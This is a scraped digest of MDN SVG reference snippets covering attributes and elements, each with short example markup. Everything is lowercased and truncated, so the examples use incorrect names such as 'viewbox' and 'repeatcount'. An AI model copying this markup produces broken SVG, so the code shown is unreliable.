viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <circle cx="60" cy="10" r="10"> <animate attributename="cx" dur="4s" min="2s" repeatcount="indefinite" values="60 ; 110 ; 60 ; 10 ; 60" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> <animate attributename="cy" dur="4s" min="2s" repeatcount="indefinite" values="10 ; 60 ; 110 ; 60 ; 10" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> </circle> </svg> usage notes value <clock-value> default value 0 animatable no <clock-value> specifies ...
mode - SVG: Scalable Vector Graphics
only one element is using this attribute: <feblend> html, body, svg { height: 100%; } <svg
viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <filter id="blending1" x="0" y="0" width="100%" height="100%"> <feflood result="floodfill" x="0" y="0" width="100%" height="100%" flood-color="seagreen" flood-opacity="1"/> <feblend in="sourcegraphic" in2="floodfill" mode="multiply"/> </filter> <filter id="blending2" x="0" y="0" width="100%" height="100%"> <feflood result="floodfill" x="0" y="0" width="100%" height="100%" flood-color="seagreen" flood-opacity="1"/> <feblend in="sourcegraphic" in2="floodfill" mode="color-dodge"/> </filter> <image xlink:href="//develop...
onclick - SVG: Scalable Vector Graphics
sing this attribute: <a>, <altglyph>, <animate>, <animatemotion>, <animatetransform>, <circle>, <defs>, <desc>, <ellipse>, <foreignobject>, <g>, <image>, <line>, <lineargradient>, <marker>, <metadata>, <mpath>, <path>, <pattern>, <polygon>, <polyline>, <radialgradient>, <rect>, <script>, <set>, <stop>, <style>, <svg>, <switch>, <symbol>, <text>, <textpath>, <title>, <tref>, <tspan>, <use>, <
view> html, body, svg { height: 100%; margin: 0; } <svg
viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <circle cx="100" cy="100" r="100" onclick="alert('you have clicked the circle.')" /> </svg> usage notes value <anything> default value none animatable no specifications specification status comment sc...
opacity - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following elements: <a>, <audio>, <canvas>, <circle>, <ellipse>, <foreignobject>, <g>, <iframe>, <image>, <line>, <marker>, <path>, <polygon>, <polyline>, <rect>, <svg>, <switch>, <symbol>, <text>, <textpath>, <tspan>, <use>, <unknown>, and <
video> html, body, svg { height: 100%; } <svg
viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <defs> <lineargradient id="gradient" x1="0%" y1="0%" x2="0" y2="100%"> <stop offset="0%" style="stop-color:skyblue;" /> <stop offset="100%" style="stop-color:seagreen;" /> </lineargradient> </defs> <rect x="0" y="0" width="100%" height="100%" fill="url(#gradient)" ...
operator - SVG: Scalable Vector Graphics
two elements are using this attribute: <fecomposite> and <femorphology> html, body, svg { height: 100%; font: 20px arial, helvetica, sans-serif; } <svg
viewbox="0 0 120 70" xmlns="http://www.w3.org/2000/svg"> <filter id="erode"> <femorphology operator="erode" radius="0.4"/> </filter> <filter id="dilate"> <femorphology operator="dilate" radius="0.8"/> </filter> <text x="0" y="15">normal text</text> <text x="0" y="40" filter="url(#erode)">thin text</text> <text x="0" y="65" filter="url(#dilate)">fat text</text> </svg> fecomposite for <fecomposite>, operator defines the compositing operation that is to be perf...
orient - SVG: Scalable Vector Graphics
only one element is using this attribute: <marker> html, body, svg { height: 100%; } <svg
viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <defs> <marker id="arrow"
viewbox="0 0 10 10" refx="5" refy="5" markerwidth="6" markerheight="6" orient="auto-start-reverse"> <path d="m 0 0 l 10 5 l 0 10 z" /> </marker> <marker id="dataarrow"
viewbox="0 0 10 10" refx="5" refy="5" markerwidth="6" markerheight="6" orient="-65deg"> <path d="m 0 0 l 10 5 l 0 10 z" fill="red" /> </marker> </defs> <polyline points="10,10 10,90 90,90" fill="none" stroke="black" marker-start="url(#arrow)" marker-end="url(#arrow)" /> ...
paint-order - SVG: Scalable Vector Graphics
)"/> <g fill="crimson" stroke="white" stroke-width="6" stroke-linejoin="round" text-anchor="middle" font-family="sans-serif" font-size="50px" font-weight="bold"> <text x="200" y="75">stroke over</text> <text x="200" y="150" paint-order="stroke" id="stroke-under">stroke under</text> </g> </svg> the example would be rendered as follows: the stroke under effect could be achieved
via the following css property: #stroke-under { paint-order: stroke; } specifications specification status comment scalable vector graphics (svg) 2the definition of 'paint-order' in that specification.
path - SVG: Scalable Vector Graphics
two elements are using this attribute: <animatemotion> and <textpath> html, body, svg { height: 100%; } <svg
viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <path id="mypath" fill="none" stroke="silver" d="m10,90 q90,90 90,45 q90,10 50,10 q10,10 10,40 q10,70 45,70 q70,70 75,50" /> <text> <textpath path="m10,90 q90,90 90,45 q90,10 50,10 q10,10 10,40 q10,70 45,70 q70,70 75,50"> quick brown fox jumps over the lazy dog.
pathLength - SVG: Scalable Vector Graphics
seven elements are using this attribute: <circle>, <ellipse>, <line>, <path>, <polygon>, <polyline>, and <rect> html,body,svg { height:100% } <svg
viewbox="0 0 100 60" xmlns="http://www.w3.org/2000/svg"> <style> path { fill: none; stroke: black; stroke-width: 2; stroke-dasharray: 10; } </style> <!-- no pathlength, the real length of the path is used.
patternTransform - SVG: Scalable Vector Graphics
only one element is using this attribute: <pattern> html,body,svg { height:100% } <svg
viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- apply a transform on the tile --> <pattern id="p1" width=".25" height=".25" patterntransform="rotate(20) skewx(30) scale(1 0.5)"> <circle cx="10" cy="10" r="10" /> </pattern> <!-- apply the transformed pattern tile --> <rect x="10" y="10" width="80" height="80" fill="url(#p1)" /> </svg> pattern for <pattern>, patterntransform defines a list of transform definitions that are applied to a pattern tile.
pointsAtX - SVG: Scalable Vector Graphics
only one element is using this attribute: <fespotlight> html, body, svg { height: 100%; } <svg
viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="lighting1" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fespotlight x="60" y="60" z="50" pointsatx="0" /> </fediffuselighting> </filter> <filter id="lighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fespotlight x="60" y="60" z="50" pointsatx="400" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="2...
pointsAtY - SVG: Scalable Vector Graphics
only one element is using this attribute: <fespotlight> html, body, svg { height: 100%; } <svg
viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="lighting1" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fespotlight x="60" y="60" z="50" pointsaty="0" /> </fediffuselighting> </filter> <filter id="lighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fespotlight x="60" y="60" z="50" pointsaty="400" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="2...
preserveAlpha - SVG: Scalable Vector Graphics
only one element is using this attribute: <feconvolvematrix> html, body, svg { height: 100%; } <svg
viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="convolvematrix1" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="1 -1 2 0 0 0 0 0 -2" preservealpha="true"/> </filter> <filter id="convolvematrix2" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="1 -1 2 0 0 0 0 0 -2" preservealpha="false"/> </filter> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_color.png" width="200" height="200" style="filter:url(#convolvematrix1);"/> <image xlink:href="//developer.mozilla.org/files/6457/...
primitiveUnits - SVG: Scalable Vector Graphics
serspaceonuse | objectboundingbox default value userspaceonuse animatable yes userspaceonuse this value indicates that any length values within the filter definitions represent values in the current user coordinate system in place at the time when the <filter> element is referenced (i.e., the user coordinate system for the element referencing the <filter> element
via a filter attribute).
r - SVG: Scalable Vector Graphics
two elements are using this attribute: <circle>, and <radialgradient> html,body,svg { height:100% } <svg
viewbox="0 0 300 200" xmlns="http://www.w3.org/2000/svg"> <radialgradient r="0" id="mygradient000"> <stop offset="0" stop-color="white" /> <stop offset="100%" stop-color="black" /> </radialgradient> <radialgradient r="50%" id="mygradient050"> <stop offset="0" stop-color="white" /> <stop offset="100%" stop-color="black" /> </radialgradient> <radialgradient r="100%" id="mygradient100"> <stop offset="0" stop-color="white" /> <stop offset="100%" stop-color="black" /> </radialgradient> <circle cx="50" cy="50" r="0"/> <circle cx="150" cy="50" r="25"/> <circle cx="250" cy="50" r="50"/> ...
repeatCount - SVG: Scalable Vector Graphics
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg
viewbox="0 0 220 150" xmlns="http://www.w3.org/2000/svg"> <rect x="0" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="1s" repeatcount="5"/> </rect> <rect x="120" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="1s" repeatcount="indefinite"/> </rect> </svg> usage notes value <number> | indefinite default value none animatable no <number> this value specifies the nu...
repeatDur - SVG: Scalable Vector Graphics
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg
viewbox="0 0 220 150" xmlns="http://www.w3.org/2000/svg"> <rect x="0" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="1s" repeatdur="5s"/> </rect> <rect x="120" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="1s" repeatdur="indefinite"/> </rect> </svg> usage notes value <clock-value> | indefinite default values none animatable no <clock-value> this value specifies t...
requiredExtensions - SVG: Scalable Vector Graphics
usage notes value <list-of-extensions> default value none animatable no <list-of-extensions> the value is a list of references (iri references in svg 1, url references in svg 2) which identify the required extensions, with the indi
vidual values separated by white space.
restart - SVG: Scalable Vector Graphics
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } a { fill: blue; text-decoration: underline; cursor: pointer; } <svg
viewbox="0 0 220 200" xmlns="http://www.w3.org/2000/svg"> <rect y="30" width="100" height="100"> <animate attributetype="xml" attributename="y" from="30" to="100" dur="5s" repeatcount="1" restart="always" /> </rect> <rect x="120" y="30" width="100" height="100"> <animate attributetype="xml" attributename="y" from="30" to="100" dur="5s" repeatcount="1" restart="whennotactive"/> </rect> <a id="restart"><text y="20">restart animation</text></a> </svg> document.
rotate - SVG: Scalable Vector Graphics
examples svg <svg width="400" height="120"
viewbox="0 0 480 120" xmlns="http://www.w3.org/2000/svg"> <!-- draw the outline of the motion path in grey --> <path d="m10,110 a120,120 -45 0,1 110 10 a120,120 -45 0,1 10,110" stroke="lightgrey" stroke-width="2" fill="none" id="themotionpath"/> <!-- red arrow which will not rotate --> <path fill="red" d="m-5,-5 l10,0 -5,5 0,0 z"> <!-- define the motion path animation ...
scale - SVG: Scalable Vector Graphics
only one element is using this attribute: <fedisplacementmap> html, body, svg { height: 100%; } <svg
viewbox="0 0 480 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter" x="-20%" y="-20%" width="140%" height="140%"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="5"/> </filter> <filter id="displacementfilter2" x="-20%" y="-20%" width="140%" height="140%"> <feturbulence type="turbulence" basefrequency="0.05" numoctave...
side - SVG: Scalable Vector Graphics
only one element is using this attribute: <textpath> html, body, svg { height: 100%; } text { font: 25px arial, helvelica, sans-serif; } <svg
viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <text> <textpath href="#circle1" side="left">text left from the path</textpath> </text> <text> <textpath href="#circle2" side="right">text right from the path</textpath> </text> <circle id="circle1" cx="100" cy="100" r="70" fill="transparent" stroke="silver"/> <circle id="circle2" cx="320" cy="100" r="70" fill="transparent" stroke="silver"/> </svg> usage notes value left | right default value left animatable yes ...
spacing - SVG: Scalable Vector Graphics
only one element is using this attribute: <textpath> usage notes value auto | exact default value exact animatable yes auto this value indicates that the user agent should use text-on-a-path layout algorithms to adjust the spacing between typographic characters in order to achieve
visually appealing results.
specularConstant - SVG: Scalable Vector Graphics
only one element is using this attribute: <fespecularlighting> html, body, svg { height: 100%; } <svg
viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="specularlighting1" x="0" y="0" width="100%" height="100%"> <fespecularlighting in="sourcegraphic" specularconstant="1.2"> <fepointlight x="60" y="60" z="20" /> </fespecularlighting> </filter> <filter id="specularlighting2" x="0" y="0" width="100%" height="100%"> <fespecularlighting in="sourcegraphic" specularconstant="0.8"> <fepointlight x="60" y="60" z="20" /> </fespecularlighting> </f...
specularExponent - SVG: Scalable Vector Graphics
two elements are using this attribute: <fespecularlighting> and <fespotlight> html, body, svg { height: 100%; } <svg
viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="diffuselighting1" x="0" y="0" width="100%" height="100%"> <fespecularlighting in="sourcegraphic" specularexponent="1"> <fepointlight x="60" y="60" z="20" /> </fespecularlighting> </filter> <filter id="diffuselighting2" x="0" y="0" width="100%" height="100%"> <fespecularlighting in="sourcegraphic" specularexponent="5"> <fepointlight x="60" y="60" z="20" /> </fespecularlighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: ur...
startOffset - SVG: Scalable Vector Graphics
only one element is using this attribute: <textpath> html,body,svg { height:100% } <svg
viewbox="0 0 220 100" xmlns="http://www.w3.org/2000/svg"> <path id="path1" fill="none" stroke="red" d="m10,90 q90,90 90,45 q90,10 50,10 q10,10 10,40 q10,70 45,70 q70,70 75,50" /> <path id="path2" fill="none" stroke="red" d="m130,90 q210,90 210,45 q210,10 170,10 q130,10 130,40 q130,70 165,70 q190,70 195,50" /> <text> <textpath href="#path1" startoffset="0"> quick brown fox jumps over the lazy dog.
stitchTiles - SVG: Scalable Vector Graphics
only one element is using this attribute: <feturbulence> html, body, svg { height: 100%; } <svg
viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="noise1" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" stitchtiles="nostitch" /> </filter> <filter id="noise2" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" stitchtiles="stitch" /> </filter> <rect x="0" y="0" width="100" height="100" style="filter: url(#noise1);" /> <rect x="0" y="0" width="100" height="100" style="filter: url(#noise1); transform: translate(100px, 0);" /> <rect x="0" y="0" width="100" height="100" style="filter: url(#noise1); transform: tran...
style - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg
viewbox="0 0 100 60" xmlns="http://www.w3.org/2000/svg"> <rect width="80" height="40" x="10" y="10" style="fill: skyblue; stroke: cadetblue; stroke-width: 2;"/> </svg> usage notes value <style> default value none animatable no <style> the syntax of style data depends on the style sheet language.
surfaceScale - SVG: Scalable Vector Graphics
two elements are using this attribute: <fediffuselighting> and <fespecularlighting> html, body, svg { height: 100%; } <svg
viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="diffuselighting1" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" surfacescale="1"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <filter id="diffuselighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" surfacescale="15"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselighting1);" /> ...
systemLanguage - SVG: Scalable Vector Graphics
35 elements are using this attribute: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <audio>, <canvas>, <circle>, <clippath>, <cursor>, <defs>, <discard>, <ellipse>, <foreignobject>, <g>, <iframe>, <image>, <line>, <mask>, <path>, <pattern>, <polygon>, <polyline>, <rect>, <set>, <svg>, <switch>, <text>, <textpath>, <tref>, <tspan>, <unknown>, <use>, and <
video> usage notes value <language-tags> default value none animatable no <language-tags> the value is a set of comma-separated tokens, each of which must be a language-tag value, as defined in bcp 47.
tableValues - SVG: Scalable Vector Graphics
four elements are using this attribute: <fefunca>, <fefuncb>, <fefuncg>, and <fefuncr> html, body, svg { height: 100%; } <svg
viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <defs> <lineargradient id="gradient" gradientunits="userspaceonuse" x1="0" y1="0" x2="200" y2="0"> <stop offset="0" stop-color="#ff0000" /> <stop offset="0.5" stop-color="#00ff00" /> <stop offset="1" stop-color="#0000ff" /> </lineargradient> </defs> <filter id="componenttransfer1" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="table" tablevalues="0 1"/> <fefuncg type="table" tablevalues...
text-decoration - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following five elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg
viewbox="0 0 250 50" xmlns="http://www.w3.org/2000/svg"> <text y="20" text-decoration="underline">underlined text</text> <text x="0" y="40" text-decoration="line-through">struck-through text</text> </svg> usage notes value <'text-decoration-line'> || <'text-decoration-style'> || <'text-decoration-color'> default value see indi
vidual properties animatable ...
u1 - SVG: Scalable Vector Graphics
the u1 attribute specifies list of unicode characters (refer to the description of the unicode attribute of the <glyph> element for a description of how to express indi
vidual unicode characters) and/or ranges of unicode characters, which identify a set of possible first glyphs in a kerning pair.
u2 - SVG: Scalable Vector Graphics
the u2 attribute specifies list of unicode characters (refer to the description of the unicode attribute of the <glyph> element for a description of how to express indi
vidual unicode characters) and/or ranges of unicode characters, which identify a set of possible second glyphs in a kerning pair.
xChannelSelector - SVG: Scalable Vector Graphics
only one element is using this attribute: <fedisplacementmap> html, body, svg { height: 100%; } <svg
viewbox="0 0 440 160" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feimage xlink:href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="100%" height="100%" result="abc"/> <fedisplacementmap in2="abc" in="sourcegraphic" scale="30" xchannelselector="r"/> </filter> <filter id="displacementfilter2"> <feimage xlink:href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="100%" height="100%" result="abc"/> <fedisplacementmap in2="abc" in="sourcegraphic" ...
xlink:title - SVG: Scalable Vector Graphics
it may be used, for example, to make titles available to applications used by
visually impaired users, or to create a table of links, or to present help text that appears when a user lets a mouse pointer hover over a starting resource.
xml:lang - SVG: Scalable Vector Graphics
<svg
viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <text xml:lang="en-us">this is some english text</text> </svg> usage notes value <language-tag> default value none animatable no <language-tag> this value specifies the language used for the element.
xml:space - SVG: Scalable Vector Graphics
html, body, svg { height: 100%; } <svg
viewbox="0 0 140 50" xmlns="http://www.w3.org/2000/svg"> <text y="20" xml:space="default">default spacing</text> <text y="40" xml:space="preserve">preserved spacing</text> </svg> usage notes value default | preserve default value default animatable no default with this value set, whitespace characters will be processed in this order: a...
yChannelSelector - SVG: Scalable Vector Graphics
only one element is using this attribute: <fedisplacementmap> html, body, svg { height: 100%; } <svg
viewbox="0 0 440 160" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feimage xlink:href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="100%" height="100%" result="abc"/> <fedisplacementmap in2="abc" in="sourcegraphic" scale="30" ychannelselector="r"/> </filter> <filter id="displacementfilter2"> <feimage xlink:href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="100%" height="100%" result="abc"/> <fedisplacementmap in2="abc" in="sourcegraphic" ...
zoomAndPan - SVG: Scalable Vector Graphics
two elements are using this attribute: <svg> and <
view> html, body, svg { height: 100%; } <svg
viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg" zoomandpan="disable"> <filter id="diffuselighting" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" zoomandpan="1"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: ...
Compatibility sources - SVG: Scalable Vector Graphics
the following sources are used for the compatibility tables on svg elements and attributes: https://developer.mozilla.org/en/svg_in_firefox together with its re
vision history for firefox http://www.webkit.org/projects/svg/status.xml together with its recorded archive for webkit, safari and chrome http://www.opera.com/docs/specs/opera9/svg/ and accompanying pages for opera >= 9, http://www.opera.com/docs/specs/opera8/ for opera 8 http://blogs.msdn.com/b/ie/archive/2010/03/18/svg-in-ie9-roadmap.aspx for hints on ie9 support status the svg support charts at codedread.com for basic checks against the w3c test suite wikipedia for basic hints, not normative ...
<altGlyph> - SVG: Scalable Vector Graphics
tes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, dominant-baseline, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, text-anchor, transform, vector-effect,
visibility xlink attributes xlink:href, xlink:type, xlink:role, xlink:arcrole, xlink:title, xlink:show, xlink:actuate dom interface this element implements the svgaltglyphelement interface.
<animateMotion> - SVG: Scalable Vector Graphics
html,body,svg { height:100%; margin: 0; padding: 0; display:block; } <svg
viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <path fill="none" stroke="lightgrey" d="m20,50 c20,-50 180,150 180,50 c180-50 20,150 20,50 z" /> <circle r="5" fill="red"> <animatemotion dur="10s" repeatcount="indefinite" path="m20,50 c20,-50 180,150 180,50 c180-50 20,150 20,50 z" /> </circle> </svg> usage context categoriesanimation elementpermitted contentany number of the following elements, in any order:descriptive elements<mpath> attributes ...
<animateTransform> - SVG: Scalable Vector Graphics
usage context categoriesanimation elementpermitted contentany number of the following elements, in any order:descriptive elements example <svg width="120" height="120"
viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <polygon points="60,30 90,90 30,90"> <animatetransform attributename="transform" attributetype="xml" type="rotate" from="0 60 70" to="360 60 70" dur="10s" repeatcount="indefinite"/> </polygon> </svg> live sample at...
<feColorMatrix> - SVG: Scalable Vector Graphics
example svg <svg width="100%" height="100%"
viewbox="0 0 150 500" preserveaspectratio="xmidymid meet" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <!-- ref --> <defs> <g id="circles"> <circle cx="30" cy="30" r="20" fill="blue" fill-opacity="0.5" /> <circle cx="20" cy="50" r="20" fill="green" fill-opacity="0.5" /> <circle cx="40" cy="50" r="20" fill="red" fill-opacity="0.
<feComponentTransfer> - SVG: Scalable Vector Graphics
example svg <svg xmlns="http://www.w3.org/2000/svg"
viewbox="0 0 600 300"> <defs> <lineargradient id="rainbow" gradientunits="userspaceonuse" x1="0" y1="0" x2="100%" y2="0"> <stop offset="0" stop-color="#ff0000"></stop> <stop offset="0.2" stop-color="#ffff00"></stop> <stop offset="0.4" stop-color="#00ff00"></stop> <stop offset="0.6" stop-color="#00ffff"></stop> <stop offset="0.8" stop-color="#0000ff"></stop> ...
<feComposite> - SVG: Scalable Vector Graphics
example svg <svg width="330" height="195"
viewbox="0 0 1100 650" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <title>example fecomposite - examples of fecomposite operations</title> <desc>four rows of six pairs of overlapping triangles depicting the six different fecomposite operators under different opacity values and different clearing of the background.</desc> <def...
<feDisplacementMap> - SVG: Scalable Vector Graphics
example <svg width="200" height="200"
viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displ...
<feMergeNode> - SVG: Scalable Vector Graphics
text categoriesnonepermitted contentany number of the following elements, in any order:<animate>, <set> example <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <filter id="feoffset" x="-40" y="-20" width="100" height="200"> <feoffset in="sourcegraphic" dx="60" dy="60" /> <fegaussianblur in="sourcegraphic" stdde
viation="5" result="blur2" /> <femerge> <femergenode in="blur2" /> <femergenode in="sourcegraphic" /> </femerge> </filter> <rect x="40" y="40" width="100" height="100" style="stroke: #000000; fill: green; filter: url(#feoffset);" /> <rect x="40" y="40" width="100" height="100" style="stroke: #000000; fill: green;" /> </svg> resul...
<feTurbulence> - SVG: Scalable Vector Graphics
example <svg width="200" height="200"
viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displ...
<filter> - SVG: Scalable Vector Graphics
example svg <svg width="230" height="120" xmlns="http://www.w3.org/2000/svg"> <filter id="blurme"> <fegaussianblur stdde
viation="5"/> </filter> <circle cx="60" cy="60" r="50" fill="green" /> <circle cx="170" cy="60" r="50" fill="green" filter="url(#blurme)" /> </svg> result screenshotlive sample specifications specification status comment filter effects module level 1the definition of '<filter>' in that specification.
<glyph> - SVG: Scalable Vector Graphics
usage context categoriestext content elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <
view> attributes global attributes core attributes presentation attributes class style specific attributes d horiz-adv-x vert-origin-x vert-origin-y vert-adv-y unicode glyph-name orientation arabic-form lang dom interface this element implements the svgglyphelement interface.
<metadata> - SVG: Scalable Vector Graphics
example <svg width="400"
viewbox="0 0 400 300" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <metadata> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:connect="http://www.w3.org/1999/08/29-svg-connections-in-rdf#"> <rdf:description about="#cablea"> <connect:ends rdf:resource="#socket1"/> <connect:ends rdf:resource="#computera...
<missing-glyph> - SVG: Scalable Vector Graphics
usage context categoriesnonepermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <
view> attributes global attributes core attributes presentation attributes class style specific attributes d horiz-adv-x vert-origin-x vert-origin-y vert-adv-y dom interface this element implements the svgmissingglyphelement interface.
<script> - SVG: Scalable Vector Graphics
while svg's script element is equivalent to the html <script> element, it has some discrepancies, like it uses the href attribute instead of src and it doesn't support ecmascript modules so far (see browser compatibility below for details) html,body,svg { height:100% } <svg
viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <script> // <![cdata[ window.addeventlistener('domcontentloaded', () => { function getcolor () { const r = math.round(math.random() * 255).tostring(16).padstart(2,'0') const g = math.round(math.random() * 255).tostring(16).padstart(2,'0') const b = math.round(math.random() * 255).tostring(16).padstart(2,'0') return `#${r}${g}${b}` } document.query...
<style> - SVG: Scalable Vector Graphics
html,body,svg { height:100%; margin: 0; padding: 0; } <svg
viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <style> circle { fill: gold; stroke: maroon; stroke-width: 2px; } </style> <circle cx="5" cy="5" r="4" /> </svg> attributes type this attribute defines type of the style sheet language to use as a media type string.
<tref> - SVG: Scalable Vector Graphics
example <svg width="100%" height="100%"
viewbox="0 0 1000 300" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <text id="referencedtext"> referenced character data </text> </defs> <text x="100" y="100" font-size="45" > inline character data </text> <text x="100" y="200" font-size="45" fill="red" > <tref xlink:href="#referencedtext"/> </text> <!-- show o...
SVG animation with SMIL - SVG: Scalable Vector Graphics
<svg xmlns="http://www.w3.org/2000/svg" width="300" height="100"> <title>svg smil animate with path</title> <rect x="0" y="0" width="300" height="100" stroke="black" stroke-width="1" /> <circle cx="0" cy="50" r="15" fill="blue" stroke="black" stroke-width="1"> <animatemotion path="m 0 0 h 300 z" dur="3s" repeatcount="indefinite" /> </circle> </svg>
view live sample example 2: curved motion same example as before with a curved path and following the direction of the path.